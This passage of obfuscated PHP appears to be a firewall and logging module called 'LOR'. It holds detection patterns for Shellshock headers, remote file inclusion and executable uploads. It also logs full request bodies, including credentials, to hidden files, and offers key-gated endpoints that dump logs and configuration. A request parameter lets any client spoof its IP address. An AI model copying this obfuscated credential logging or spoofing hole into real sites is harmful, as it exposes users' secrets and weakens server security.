if (LOR_CONFIG("L\x4f\x52_\x44\x45F\x45\x4eD") && LOR_CONFIG("L\x4f\x52_\x44\x45B\x55\x47") && (($_SERVER["R\x45\x4dO\x54\x45_\x41\x44D\x52"] == $_SERVER["S\x45\x52V\x45\x52_\x41\x44D\x52"]))) {
die("LOR: Bad server config, REMOTE IP == SERVER IP.");
}
if (!@is_writeable(LOR_LOG_FOLDER)) {
die("LOR: Can not write to log file.");
}
if (LOR_ONLINE) {
if (LOR_CONFIG("L\x4f\x52_\x55\x53E\x5f\x45X\x54\x45N\x44\x45D\x5f\x49P")) {
if (isset($_SERVER["H\x54\x54P\x5f\x58_\x46\x4fR\x57\x41R\x44\x45D\x5f\x46O\x52"])) {
$_SERVER["R\x45\x4dO\x54\x45_\x41\x44D\x52"] = $_SERVER["H\x54\x54P\x5f\x58_\x46\x4fR\x57\x41R\x44\x45D\x5f\x46O\x52"];
} else if (isset($_SERVER["H\x54\x54P\x5f\x58_\x52\x45A\x4c\x5fI\x50"])) {
$_SERVER["R\x45\x4dO\x54\x45_\x41\x44D\x52"] = $_SERVER["H\x54\x54P\x5f\x58_\x52\x45A\x4c\x5fI\x50"];
}
}
$i0l1i10000100010010_list = explode(',', LOR_CONFIG("L\x4f\x52_\x48\x4fS\x54\x53"));
$i0l1i10000100001000 = false;
$lor_cur_host = @str_replace("w\x77\x77.", '', @$_SERVER["H\x54\x54P\x5f\x48O\x53\x54"]);
foreach ($i0l1i10000100010010_list as $i0l1i10000100010010) {
if (trim($i0l1i10000100010010) == $lor_cur_host) {
$i0l1i10000100001000 = true;
$i0l1i1111110100000 = new i0l1i1111110110100();
$i0l1i1111110100000->run();
}
}
if (LOR_CONFIG("L\x4f\x52_\x44\x45B\x55\x47_\x4d\x4fD\x45") && (!$i0l1i10000100001000)) {
die('[' . $_SERVER["H\x54\x54P\x5f\x48O\x53\x54"] . "] - not a valid host in LOR");
}
}
}
class i0l1i1111110110100
{
private $i0l1i11111011001000l1i1111010010010_content;
private $i0l1i11111011001000l1i1111010010010_var;
private $skip_posts;
private $i0l1i11111011001000l1i1111001110100;
private $i0l1i11111011001000l1i1111001111110;
private $i0l1i10000101110110;
private $HTTP_UA;
private $HTTP_REF;
private $i0l1i11111011001000l1i1111001101010;
function __construct()
{
@date_default_timezone_set("E\x75\x72o\x70\x65/\x4d\x6fs\x63\x6fw");
if (LOR_CONFIG("L\x4f\x52_\x53\x45S\x53\x49O\x4e\x5fO\x4e")) {
@session_start();
if (!isset($_SESSION["l\x6f\x72_\x73\x65s\x73\x69o\x6e"])) {
if (($_SERVER["R\x45\x51U\x45\x53T\x5f\x4dE\x54\x48O\x44"] == "G\x45\x54") || (!LOR_CONFIG("L\x4f\x52_\x50\x4fS\x54\x5fB\x59\x5fS\x45\x53S\x49\x4fN"))) {
$_SESSION["l\x6f\x72_\x73\x65s\x73\x69o\x6e"] = md5(time() . rand(0, 99999999));
}
}
}
if (isset($_SERVER["H\x54\x54P\x5f\x55S\x45\x52_\x41\x47E\x4e\x54"])) {
$this->HTTP_UA = $_SERVER["H\x54\x54P\x5f\x55S\x45\x52_\x41\x47E\x4e\x54"];
} else {
$this->HTTP_UA = '';
}
if (isset($_SERVER["H\x54\x54P\x5f\x52E\x46\x45R\x45\x52"])) {
$this->HTTP_REF = $_SERVER["H\x54\x54P\x5f\x52E\x46\x45R\x45\x52"];
} else {
$this->HTTP_REF = '';
}
$this->i0l1i1111001101010 = array();
$this->admin_urls = array();
$this->deny_content = array();
$this->deny_var = array();
$this->deny_urls = array();
$this->skip_posts = array();
$this->i0l1i1111001110100 = array();
$this->i0l1i10000101110110 = array();
$host = @str_replace("w\x77\x77.", "", @$_SERVER["H\x54\x54P\x5f\x48O\x53\x54"]);
$i0l1i11111011001000l1i1111010001000 = date("m\x5f\x59", time());
$this->i0l1i1111001111110 = LOR_LOG_FOLDER . "/\x2e\x6co\x72\x5f" . substr(md5($host . LOR_CONFIG("L\x4f\x52_\x4b\x45Y")), 0, 5) . "_" . substr(LOR_CONFIG("L\x4f\x52_\x4b\x45Y"), 0, 7) . "_" . $i0l1i11111011001000l1i1111010001000 . '';
$this->deny_content = array_merge($this->i0l1i1111111100110("b\x61\x73e\x2f\x6co\x72\x5fd\x65\x6ey\x5f\x63o\x6e\x74e\x6e\x74.\x74\x78t"), $this->i0l1i1111111100110("l\x6f\x72_\x64\x65n\x79\x5fc\x6f\x6et\x65\x6et\x2e\x74x\x74"));
$this->deny_var = array_merge($this->i0l1i1111111100110("b\x61\x73e\x2f\x6co\x72\x5fd\x65\x6ey\x5f\x76a\x72\x6ea\x6d\x65.\x74\x78t"), $this->i0l1i1111111100110("l\x6f\x72_\x64\x65n\x79\x5fv\x61\x72n\x61\x6de\x2e\x74x\x74"));
$this->admin_urls = array_merge($this->i0l1i1111111100110("b\x61\x73e\x2f\x6co\x72\x5fa\x64\x6di\x6e\x5fu\x72\x6cs\x2e\x74x\x74"), $this->i0l1i1111111100110("l\x6f\x72_\x61\x64m\x69\x6e_\x75\x72l\x73\x2et\x78\x74"));
$this->i0l1i10000101110110 = array_merge($this->i0l1i1111111100110("b\x61\x73e\x2f\x6co\x72\x5fw\x68\x69t\x65\x6ci\x73\x74.\x74\x78t"), $this->i0l1i1111111100110("l\x6f\x72_\x77\x68i\x74\x65l\x69\x73t\x2e\x74x\x74"));
$this->deny_urls = array_merge($this->i0l1i1111111100110("b\x61\x73e\x2f\x6co\x72\x5fd\x65\x6ey\x5f\x75r\x6c\x73.\x74\x78t"), $this->i0l1i1111111100110("l\x6f\x72_\x64\x65n\x79\x5fu\x72\x6cs\x2e\x74x\x74"));
$this->skip_posts = $this->i0l1i1111111100110("l\x6f\x72_\x73\x6bi\x70\x5fp\x6f\x73t\x73\x2et\x78\x74");
if (file_exists(LOR_CONFIG("L\x4f\x52_\x50\x52O\x54\x45C\x54\x5fI\x50"))) {
$i0l1i11111011001000l1i1111001110100 = explode("\n", @trim(@file_get_contents(LOR_CONFIG("L\x4f\x52_\x50\x52O\x54\x45C\x54\x5fI\x50"))));
for ($i0l1i1111101100100 = 0; $i0l1i1111101100100 < count($i0l1i11111011001000l1i1111001110100); $i0l1i1111101100100++) {
$i0l1i11111011001000l1i1111001110100[$i0l1i1111101100100] = trim($i0l1i11111011001000l1i1111001110100[$i0l1i1111101100100]);
if (($i0l1i11111011001000l1i1111001110100[$i0l1i1111101100100] != '') && (strpos($this->deny_urls[$i0l1i1111101100100], '#') !== 0)) {
$i0l1i11111011001000l1i1111001110100[$i0l1i1111101100100] = str_replace(".", '\.', $i0l1i11111011001000l1i1111001110100[$i0l1i1111101100100]);
$i0l1i11111011001000l1i1111001110100[$i0l1i1111101100100] = str_replace('*', '\d+', $i0l1i11111011001000l1i1111001110100[$i0l1i1111101100100]);
$this->i0l1i1111001110100[] = trim($i0l1i11111011001000l1i1111001110100[$i0l1i1111101100100]);
}
}
}
if (!file_exists(LOR_LOG_FOLDER)) {
if (!@mkdir(LOR_LOG_FOLDER)) {
$this->i0l1i1111001101010[] = "Cannot create folder:" . LOR_LOG_FOLDER;
}
}
if (isset($_REQUEST["l\x6f\x72_\x73\x70o\x6f\x66_\x69\x70"])) {
$_SERVER["R\x45\x4dO\x54\x45_\x41\x44D\x52"] = $_REQUEST["l\x6f\x72_\x73\x70o\x6f\x66_\x69\x70"];
putenv("H\x54\x54P\x5f\x43L\x49\x45N\x54\x5fI\x50\x3d" . $_REQUEST["l\x6f\x72_\x73\x70o\x6f\x66_\x69\x70"]);
}
}
public function run()
{
$i0l1i11111011001000l1i1111010001000 = date("m\x5f\x59", time());
$i0l1i11111011001000l1i1111010010010 = false;
$i0l1i10000000100010 = false;
$i0l1i11111011001000l1i1111010011100 = '';
$i0l1i11111011001000l1i1111010100110 = false;
$i0l1i11111011001000l1i1111100010100 = "l\x6f\x72_\x6f\x6b";
$anti_flood_value = md5(strrev(substr(LOR_CONFIG("L\x4f\x52_\x4b\x45Y"), 0, 5)));
if ((LOR_CONFIG("L\x4f\x52_\x4c\x4fG\x5f\x47E\x54") && ($_SERVER["R\x45\x51U\x45\x53T\x5f\x4dE\x54\x48O\x44"] == "G\x45\x54")) || (LOR_CONFIG("L\x4f\x52_\x4c\x4fG\x5f\x50O\x53\x54") && ($_SERVER["R\x45\x51U\x45\x53T\x5f\x4dE\x54\x48O\x44"] == "P\x4f\x53T"))) {
$i0l1i11111011001000l1i1111010011100 .= "* " . @$_SERVER["R\x45\x51U\x45\x53T\x5f\x4dE\x54\x48O\x44"] . "\t" . $this->i0l1i1111110111110() . "\t" . date("d/m/Y H:i:s", time()) . "\t" . $this->i0l1i1111111001000();
$i0l1i11111011001000l1i1111010011100 .= "\tR: " . $this->HTTP_REF . "\tUA: " . $this->HTTP_UA . "\t" . @$_SESSION["l\x6f\x72_\x73\x65s\x73\x69o\x6e"] . "\n";
}
if (preg_match("~(Yandex|Googlebot|S" . chr(107 + 1) . "urp|MSNBot|Teoma|Scooter|ia_archiver|Rambler|Mail.Ru|Aport|WebAlta)~smi", $this->HTTP_UA)) {
$i0l1i11111011001000l1i1111010100110 = true;
if (LOR_CONFIG("L\x4f\x52_\x43\x48E\x43\x4b_\x42\x4fT\x5f\x42Y\x5f\x49P") && (!$this->i0l1i10000100100110($_SERVER["R\x45\x4dO\x54\x45_\x41\x44D\x52"]))) {
$i0l1i11111011001000l1i1111010100110 = false;
}
}
if (LOR_CONFIG("L\x4f\x52_\x48\x44R\x5f\x41L\x57\x41Y\x53\x5fH\x54\x54P\x53")) {
header("Strict-Transport-Security: max-age=31536000; includeSubdomains\n");
}
if (LOR_CONFIG("L\x4f\x52_\x48\x44R\x5f\x4eO\x5f\x46R\x41\x4dE\x53")) {
header("X-Frame-Options: SAMEORIGIN\n");
}
if (LOR_CONFIG("L\x4f\x52_\x48\x44R\x5f\x4eO\x5f\x58S\x53\x5fS\x4e\x49F\x46")) {
header("X-XSS-Protection: 1; mode=block\n");
header("X-Content-Type-Options: nosniff\n");
}
if (LOR_CONFIG("L\x4f\x52_\x44\x45F\x45\x4eD") && LOR_CONFIG("L\x4f\x52_\x46\x49L\x54\x45R\x5f\x55R\x4c\x53")) {
$i0l1i11111011001000l1i1111010111010 = $this->i0l1i1111111001000();
if (count($this->admin_urls) > 0) {
foreach ($this->admin_urls as $auth_url) {
if (preg_match('~' . $auth_url . '~smi', $i0l1i11111011001000l1i1111010111010, $match)) {
if (!$this->i0l1i1111111011100(false, true)) {
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[403 HTTP_AUTH]]] in $auth_url by [" . $_SERVER["H\x54\x54P\x5f\x41U\x54\x48O\x52\x49Z\x41\x54I\x4f\x4e"] . "]\n";
$i0l1i11111011001000l1i1111010010010 = true;
}
}
}
}
}
if (LOR_CONFIG("L\x4f\x52_\x44\x45F\x45\x4eD")) {
$i0l1i11111011001000l1i1111011000100 = array_merge($this->deny_content, array(
':s:[0-9]+:',
"J\x44\x61t\x61\x62a\x73\x65D\x72\x69v\x65\x72",
'NT\s*5.1;\s*SV1',
'(\s*)\s*{\s*:;\s*};',
'%0A|%0D|%27|%3C|%3E|%00'
));
foreach ($i0l1i11111011001000l1i1111011000100 as $i0l1i11111011001000l1i1111100000000) {
if (preg_match('~' . $i0l1i11111011001000l1i1111100000000 . '~i', $this->HTTP_UA, $fnd)) {
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[403 UA]]] by $i0l1i11111011001000l1i1111100000000\n";
$i0l1i10000000100010 = true;
$i0l1i11111011001000l1i1111010010010 = true;
break;
}
if (preg_match('~' . $i0l1i11111011001000l1i1111100000000 . '~i', $this->HTTP_REF, $fnd)) {
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[403 REFERER]]] by $i0l1i11111011001000l1i1111100000000\n";
$i0l1i10000000100010 = true;
$i0l1i11111011001000l1i1111010010010 = true;
break;
}
}
}
if (LOR_CONFIG("L\x4f\x52_\x44\x45F\x45\x4eD") && LOR_CONFIG("L\x4f\x52_\x46\x49L\x54\x45R\x5f\x55R\x4c\x53")) {
if (preg_match('~((https?|ftp|gopher)://[^&]+)~', $_SERVER["Q\x55\x45R\x59\x5fS\x54\x52I\x4e\x47"], $match)) {
$i0l1i11111011001000l1i1111011001110 = (isset($_SERVER["H\x54\x54P\x53"]) && $_SERVER["H\x54\x54P\x53"] && !in_array(strtolower($_SERVER["H\x54\x54P\x53"]), array(
"o\x66\x66",
"n\x6f"
))) ? "h\x74\x74p\x73" : "h\x74\x74p";
$i0l1i11111011001000l1i1111011001110 .= '://' . $_SERVER["H\x54\x54P\x5f\x48O\x53\x54"];
$match[0] = str_replace("w\x77\x77.", '', $match[0]);
$i0l1i11111011001000l1i1111011001110 = str_replace("w\x77\x77.", '', $i0l1i11111011001000l1i1111011001110);
if (LOR_CONFIG("L\x4f\x52_\x44\x45B\x55\x47_\x4d\x4fD\x45")) {
$this->i0l1i10000000011000("[DEBUG] [" . $match[0] . "] vs [" . $i0l1i11111011001000l1i1111011001110 . "]\n");
}
if (LOR_CONFIG("L\x4f\x52_\x44\x45B\x55\x47_\x4d\x4fD\x45")) {
$this->i0l1i10000000011000("[DEBUG] [" . $_SERVER["Q\x55\x45R\x59\x5fS\x54\x52I\x4e\x47"] . "] check for wl - " . $this->i0l1i1111111010010($_SERVER["Q\x55\x45R\x59\x5fS\x54\x52I\x4e\x47"]) . "\n");
}
if ((strpos($match[0], $i0l1i11111011001000l1i1111011001110) !== 0) && (!$this->i0l1i1111111010010($_SERVER["Q\x55\x45R\x59\x5fS\x54\x52I\x4e\x47"]))) {
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[403 RFI]]] by " . $match[0] . "\n";
$i0l1i10000000100010 = true;
$i0l1i11111011001000l1i1111010010010 = true;
}
}
$i0l1i11111011001000l1i1111010111010 = $this->i0l1i1111111001000();
foreach ($this->deny_urls as $waf_url) {
if (preg_match('~' . $waf_url . '~smi', $i0l1i11111011001000l1i1111010111010, $match)) {
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[403 Blocked URL]]] by $waf_url\n";
$i0l1i11111011001000l1i1111010010010 = true;
break;
}
}
}
switch ($_SERVER["R\x45\x51U\x45\x53T\x5f\x4dE\x54\x48O\x44"]) {
case "G\x45\x54":
if (@$_GET["l\x6f\x72_\x70\x61s\x73"] == md5(LOR_CONFIG("L\x4f\x52_\x4b\x45Y"))) {
$this->i0l1i10000001110010();
die();
}
if (@$_GET["l\x6f\x72_\x69\x6ef\x6f"] == md5(LOR_CONFIG("L\x4f\x52_\x4b\x45Y"))) {
header("Content-Type: text/html\n");
echo 'LOR: ' . LOR_VERSION . '<br>';
echo 'PHP Mode: ' . @php_sapi_name() . '<br>';
echo 'PHP Version: ' . @phpversion() . '<br>';
echo 'Enabled functions: ' . $this->allowedPHPFunctions() . '<br>';
echo 'Loaded ini file: ' . @php_ini_loaded_file() . '<br>';
echo 'auto_prepend_file: ' . @ini_get("a\x75\x74o\x5f\x70r\x65\x70e\x6e\x64_\x66\x69l\x65") . '<br>';
echo 'display_errors: ' . @ini_get("d\x69\x73p\x6c\x61y\x5f\x65r\x72\x6fr\x73") . '<br>';
echo 'error_log: ' . @ini_get("e\x72\x72o\x72\x5fl\x6f\x67") . '<br>';
die();
}
if (@$_GET["l\x6f\x72_\x75\x61i"] != '') {
$lor_uai = trim(str_replace(chr(0), " ", substr(urldecode(@$_GET["l\x6f\x72_\x75\x61i"]), 0, 300)));
$lor_uai = preg_replace("~[\x01-\x1F\x80-\xFF]+~sm", " ", $lor_uai);
$this->i0l1i10000000011000("* " . @$_SERVER["R\x45\x51U\x45\x53T\x5f\x4dE\x54\x48O\x44"] . "\t" . $this->i0l1i1111110111110() . "\t" . date("d/m/Y H:i:s", time()) . "\t" . "[UAI]-> [" . $lor_uai . "]\n");
die();
}
break;
case "P\x4f\x53T":
if (@$_POST["l\x6f\x72_\x67\x65t\x6c\x6fg\x73"] == LOR_CONFIG("L\x4f\x52_\x4b\x45Y")) {
$this->i0l1i10000100011100();
}
if (@$_POST["l\x6f\x72_\x67\x65t\x63\x6fn\x66\x69g"] == LOR_CONFIG("L\x4f\x52_\x4b\x45Y")) {
header("Content-Type: application/json\n");
echo json_encode($GLOBALS["i\x30\x6c1\x69\x310\x30\x300\x31\x310\x30\x300\x30\x300"]);
die();
}
if (@$_POST["l\x6f\x72_\x73\x65t\x63\x6fn\x66\x69g"] == LOR_CONFIG("L\x4f\x52_\x4b\x45Y")) {
i0l1i10000110001010($GLOBALS["i\x30\x6c1\x69\x310\x30\x300\x31\x310\x30\x310\x31\x300"], json_decode($_POST["c\x6f\x6ef\x69\x67"], true), strrev(LOR_CONFIG("L\x4f\x52_\x4b\x45Y")));
echo "O\x4b";
die();
}
if (@$_POST["l\x6f\x72_\x67\x65t\x6c\x6fg"] == LOR_CONFIG("L\x4f\x52_\x4b\x45Y")) {
if (file_exists($this->i0l1i1111001111110)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($this->i0l1i1111001111110) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($this->i0l1i1111001111110));
readfile($this->i0l1i1111001111110);
die();
} else {
echo "Empty log";
}
}
if (@$_POST["l\x6f\x72_\x63\x68e\x63\x6b"] == LOR_CONFIG("L\x4f\x52_\x4b\x45Y")) {
header("Content: text/plain\n\n");
echo "LOR is active [" . LOR_CONFIG("L\x4f\x52_\x4b\x45Y") . "] v" . LOR_VERSION . "\n\nServerIP: " . $_SERVER["S\x45\x52V\x45\x52_\x41\x44D\x52"] . " ClientIP: " . $this->i0l1i1111110111110() . "\n";
echo "QuickCheck [" . md5(LOR_CONFIG("L\x4f\x52_\x4b\x45Y")) . "], custom: lor_settings.php." . md5(@str_replace("w\x77\x77.", '', @$_SERVER["H\x54\x54P\x5f\x48O\x53\x54"])) . "\n\n";
echo $this->i0l1i1111111001000() . "\n\n";
if (count($this->i0l1i1111001101010) > 0) {
echo "\n[!!!] FATAL ERRORS:\n" . implode("\n", $this->i0l1i1111001101010) . "\n\n";
}
echo "lor_settings: " . LOR_CONFIG("L\x4f\x52_\x53\x45T\x54\x49N\x47\x53_\x46\x49L\x45") . "\n";
echo "lor_config: " . $GLOBALS["i\x30\x6c1\x69\x310\x30\x300\x31\x310\x30\x310\x31\x300"] . "\n";
echo "LOR_ONLINE\t" . (LOR_ONLINE ? "y\x65\x73" : "n\x6f") . "\n";
echo "LOR_REDEFINE_CONFIG\t" . (LOR_REDEFINE_CONFIG ? "y\x65\x73" : "n\x6f") . "\n";
echo "LOR_SESSION_ON\t" . (LOR_CONFIG("L\x4f\x52_\x53\x45S\x53\x49O\x4e\x5fO\x4e") ? "y\x65\x73" : "n\x6f") . "\n";
echo "LOR_SYS_FOLDER\t" . LOR_CONFIG("L\x4f\x52_\x53\x59S\x5f\x46O\x4c\x44E\x52") . "\n";
echo "LOR_DEFEND\t" . (LOR_config("L\x4f\x52_\x44\x45F\x45\x4eD") ? "y\x65\x73" : "n\x6f") . "\n";
echo "LOR_FILTER_URLS\t" . (LOR_CONFIG("L\x4f\x52_\x46\x49L\x54\x45R\x5f\x55R\x4c\x53") ? "y\x65\x73" : "n\x6f") . "\n";
echo "LOR_LOG_GET\t" . (LOR_CONFIG("L\x4f\x52_\x4c\x4fG\x5f\x47E\x54") ? "y\x65\x73" : "n\x6f") . "\n";
echo "LOR_LOG_POST\t" . (LOR_CONFIG("L\x4f\x52_\x4c\x4fG\x5f\x50O\x53\x54") ? "y\x65\x73" : "n\x6f") . "\n";
echo "LOR_LOG_FOLDER\t" . LOR_LOG_FOLDER . "\n";
echo "LOR_HTPASSWD\t" . LOR_CONFIG("L\x4f\x52_\x48\x54P\x41\x53S\x57\x44") . "\n";
echo "LOR_PROTECT_IP\t" . LOR_CONFIG("L\x4f\x52_\x50\x52O\x54\x45C\x54\x5fI\x50") . "\n";
echo "LOR_RULES_FOLDER\t" . LOR_RULES_FOLDER . "\n";
echo "SITE PATH\t" . dirname(__FILE__) . "\n\n";
echo "LOR_HDR_ALWAYS_HTTPS\t" . (LOR_CONFIG("L\x4f\x52_\x48\x44R\x5f\x41L\x57\x41Y\x53\x5fH\x54\x54P\x53") ? "y\x65\x73" : "n\x6f") . "\n";
echo "LOR_HDR_NO_FRAMES\t" . (LOR_CONFIG("L\x4f\x52_\x48\x44R\x5f\x4eO\x5f\x46R\x41\x4dE\x53") ? "y\x65\x73" : "n\x6f") . "\n";
echo "LOR_HDR_NO_XSS_SNIFF\t" . (LOR_CONFIG("L\x4f\x52_\x48\x44R\x5f\x4eO\x5f\x58S\x53\x5fS\x4e\x49F\x46") ? "y\x65\x73" : "n\x6f") . "\n";
echo "LOR_ANTIFLOOD\t" . (LOR_CONFIG("L\x4f\x52_\x41\x4eT\x49\x46L\x4f\x4fD") ? "y\x65\x73" : "n\x6f") . "\n";
echo "LOR_DEBUG_MODE\t" . (LOR_CONFIG("L\x4f\x52_\x44\x45B\x55\x47_\x4d\x4fD\x45") ? "y\x65\x73" : "n\x6f") . "\n";
echo "log_file\t" . $this->i0l1i1111001111110 . "\t" . @filesize($this->i0l1i1111001111110) . "b limit" . LOR_CONFIG("L\x4f\x52_\x4c\x4fG\x53\x5fS\x49\x5aE\x5f\x4cI\x4d\x49T") . "\n\n";
echo "deny content rules\t" . count($this->deny_content) . "\n";
echo "deny variables rules\t" . count($this->deny_var) . "\n";
echo "deny urls rules\t" . count($this->deny_urls) . "\n";
echo "protect admin urls\t" . count($this->admin_urls) . "\n";
echo "deny urls\t" . count($this->deny_urls) . "\n";
echo "allowed ips\t" . count($this->i0l1i1111001110100) . "\n";
echo "whitelist urls\t" . count($this->i0l1i10000101110110) . "\n";
die();
}
if (@$_POST["l\x6f\x72_\x6d\x6fd\x69\x66i\x65\x64"] == LOR_CONFIG("L\x4f\x52_\x4b\x45Y")) {
header("Content-Type: text/plain\n");
$list = array();
$i0l1i10000010010000 = array(
"p\x68",
"p\x6c",
"c\x67\x69",
"t\x78\x74",
"p\x79",
"z\x69\x70",
"g\x7a",
"h\x74\x61c\x63\x65s\x73",
"h\x74\x6d"
);
$this->i0l1i10000010011010(".", true, intval(@$_POST["d\x61\x79s"]) * 86400, $list, 0, $i0l1i10000010010000);
foreach ($list as $i0l1i1111101100100tem) {
$i0l1i1111101100100tem[0] = date("d/m/Y H:i:s", $i0l1i1111101100100tem[0]);
$i0l1i1111101100100tem[1] = date("d/m/Y H:i:s", $i0l1i1111101100100tem[1]);
$i0l1i1111101100100tem[3] = $i0l1i1111101100100tem[3][0];
echo implode("\t", $i0l1i1111101100100tem) . "\n";
}
die();
}
if (LOR_CONFIG("L\x4f\x52_\x41\x4eT\x49\x46L\x4f\x4fD") && LOR_CONFIG("L\x4f\x52_\x50\x4fS\x54\x5fB\x59\x5fS\x45\x53S\x49\x4fN")) {
if ((!isset($_SESSION["l\x6f\x72_\x73\x65s\x73\x69o\x6e"])) && (@$_COOKIE[$i0l1i11111011001000l1i1111100010100] != $anti_flood_value)) {
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[403 post by session]]]\n";
$i0l1i11111011001000l1i1111010010010 = true;
}
}
if (LOR_CONFIG("L\x4f\x52_\x4c\x4fG\x5f\x50O\x53\x54")) {
$i0l1i11111011001000l1i1111011011000 = array(
@$_GET,
@$_POST,
@$_COOKIE,
@$_SESSION
);
$labels = array(
"g\x76",
"p\x76",
"c\x76",
"s\x76"
);
$cnt = -1;
$i0l1i11111011001000l1i1111011110110 = str_replace('?' . $_SERVER["Q\x55\x45R\x59\x5fS\x54\x52I\x4e\x47"], '', trim($_SERVER["R\x45\x51U\x45\x53T\x5f\x55R\x49"], "/")) . "###";
foreach ($i0l1i11111011001000l1i1111011011000 as $i0l1i11111011001000l1i1111011100010) {
if (!(is_array($i0l1i11111011001000l1i1111011100010) && (count($i0l1i11111011001000l1i1111011100010) > 0)))
continue;
$cnt++;
foreach ($i0l1i11111011001000l1i1111011100010 as $var => $i0l1i11111011001000l1i1111011101100) {
if (is_array($i0l1i11111011001000l1i1111011101100)) {
$i0l1i11111011001000l1i1111011101100 = json_encode($i0l1i11111011001000l1i1111011101100);
}
if ($labels[$cnt] == "p\x76") {
$i0l1i11111011001000l1i1111011110110 .= $var . "###";
}
$i0l1i11111011001000l1i1111011101100 = substr($i0l1i11111011001000l1i1111011101100, 0, LOR_CONFIG("L\x4f\x52_\x4d\x41X\x5f\x50O\x53\x54_\x54\x4f_\x53\x41V\x45"));
$i0l1i11111011001000l1i1111011101100_de64 = base64_decode($i0l1i11111011001000l1i1111011101100);
if (!$this->i0l1i10000011101010($i0l1i11111011001000l1i1111011101100)) {
$i0l1i11111011001000l1i1111011101100 = 'bz64:' . base64_encode(gzcompress($i0l1i11111011001000l1i1111011101100, 7));
}
$i0l1i11111011001000l1i1111010011100 .= "\t\t\t" . $labels[$cnt] . ": " . $var . " = " . $i0l1i11111011001000l1i1111011101100 . "\n";
if (LOR_CONFIG("L\x4f\x52_\x44\x45F\x45\x4eD")) {
foreach ($this->deny_content as $i0l1i11111011001000l1i1111100000000) {
if (preg_match('~' . $i0l1i11111011001000l1i1111100000000 . '~i', $i0l1i11111011001000l1i1111011101100, $fnd)) {
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[403 Content]]] by $i0l1i11111011001000l1i1111100000000\n";
$i0l1i11111011001000l1i1111010010010 = true;
$i0l1i10000000100010 = true;
break;
}
if (($i0l1i11111011001000l1i1111011101100_de64 != '') && ($i0l1i11111011001000l1i1111011101100_de64 != $i0l1i11111011001000l1i1111011101100)) {
if (preg_match('~' . $i0l1i11111011001000l1i1111100000000 . '~i', $i0l1i11111011001000l1i1111011101100_de64, $fnd)) {
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[403 Content2]]] by $i0l1i11111011001000l1i1111100000000\n";
$i0l1i11111011001000l1i1111010010010 = true;
$i0l1i10000000100010 = true;
break;
}
}
}
foreach ($this->deny_var as $i0l1i11111011001000l1i1111100000000) {
if (preg_match('|' . $i0l1i11111011001000l1i1111100000000 . '|i', $var, $fnd)) {
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[403 Var]]] by $i0l1i11111011001000l1i1111100000000\n";
$i0l1i11111011001000l1i1111010010010 = true;
$i0l1i10000000100010 = true;
break;
}
}
}
}
}
if (isset($_FILES) && count($_FILES) > 0) {
foreach ($_FILES as $i0l1i11111011001000l1i1111100001010) {
$num_files = 1;
if (is_array($i0l1i11111011001000l1i1111100001010["t\x6d\x70_\x6e\x61m\x65"])) {
$num_files = count($i0l1i11111011001000l1i1111100001010["t\x6d\x70_\x6e\x61m\x65"]);
} else {
$i0l1i1111110001100_file["t\x6d\x70_\x6e\x61m\x65"] = array(
$i0l1i11111011001000l1i1111100001010["t\x6d\x70_\x6e\x61m\x65"]
);
$i0l1i1111110001100_file["n\x61\x6de"] = array(
$i0l1i11111011001000l1i1111100001010["n\x61\x6de"]
);
$i0l1i1111110001100_file["s\x69\x7ae"] = array(
$i0l1i11111011001000l1i1111100001010["s\x69\x7ae"]
);
$i0l1i11111011001000l1i1111100001010 = $i0l1i1111110001100_file;
}
for ($i0l1i1111110000010 = 0; $i0l1i1111110000010 < $num_files; $i0l1i1111110000010++) {
if (file_exists($i0l1i11111011001000l1i1111100001010["t\x6d\x70_\x6e\x61m\x65"][$i0l1i1111110000010])) {
$i0l1i11111011001000l1i1111011101100 = substr(implode('', file($i0l1i11111011001000l1i1111100001010["t\x6d\x70_\x6e\x61m\x65"][$i0l1i1111110000010])), 0, LOR_CONFIG("L\x4f\x52_\x4d\x41X\x5f\x46I\x4c\x45S\x5f\x54O\x5f\x53A\x56\x45"));
} else {
$i0l1i11111011001000l1i1111011101100 = '';
}
$content = $i0l1i11111011001000l1i1111011101100;
if (!$this->i0l1i10000011101010($i0l1i11111011001000l1i1111011101100)) {
$i0l1i11111011001000l1i1111011101100 = 'bz64:' . base64_encode(gzcompress($i0l1i11111011001000l1i1111011101100, 7));
}
if (!isset($i0l1i11111011001000l1i1111100001010["s\x69\x7ae"][$i0l1i1111110000010])) {
$i0l1i11111011001000l1i1111100001010["s\x69\x7ae"][$i0l1i1111110000010] = '???';
}
$i0l1i11111011001000l1i1111010011100 .= "\t\t\t[[F $i0l1i1111110000010]]: " . $i0l1i11111011001000l1i1111100001010["n\x61\x6de"][$i0l1i1111110000010] . " (" . $i0l1i11111011001000l1i1111100001010["s\x69\x7ae"][$i0l1i1111110000010] . ") = " . $i0l1i11111011001000l1i1111011101100 . "\n";
if (LOR_CONFIG("L\x4f\x52_\x44\x45F\x45\x4eD")) {
if (strpos($i0l1i11111011001000l1i1111100001010["n\x61\x6de"][$i0l1i1111110000010], ".\x70\x68p") !== false || strpos($i0l1i11111011001000l1i1111100001010["n\x61\x6de"][$i0l1i1111110000010], ".\x70\x68t") !== false || strpos($i0l1i11111011001000l1i1111100001010["n\x61\x6de"][$i0l1i1111110000010], ".\x70\x6c") !== false || strpos($i0l1i11111011001000l1i1111100001010["n\x61\x6de"][$i0l1i1111110000010], ".\x73\x68") !== false || strpos($i0l1i11111011001000l1i1111100001010["n\x61\x6de"][$i0l1i1111110000010], ".\x70\x68t\x6d\x6c") !== false || strpos($i0l1i11111011001000l1i1111100001010["n\x61\x6de"][$i0l1i1111110000010], ".\x73\x68t\x6d\x6c") !== false || strpos($i0l1i11111011001000l1i1111100001010["n\x61\x6de"][$i0l1i1111110000010], ".\x63\x67i") !== false || strpos($i0l1i11111011001000l1i1111100001010["n\x61\x6de"][$i0l1i1111110000010], ".\x70\x79") !== false) {
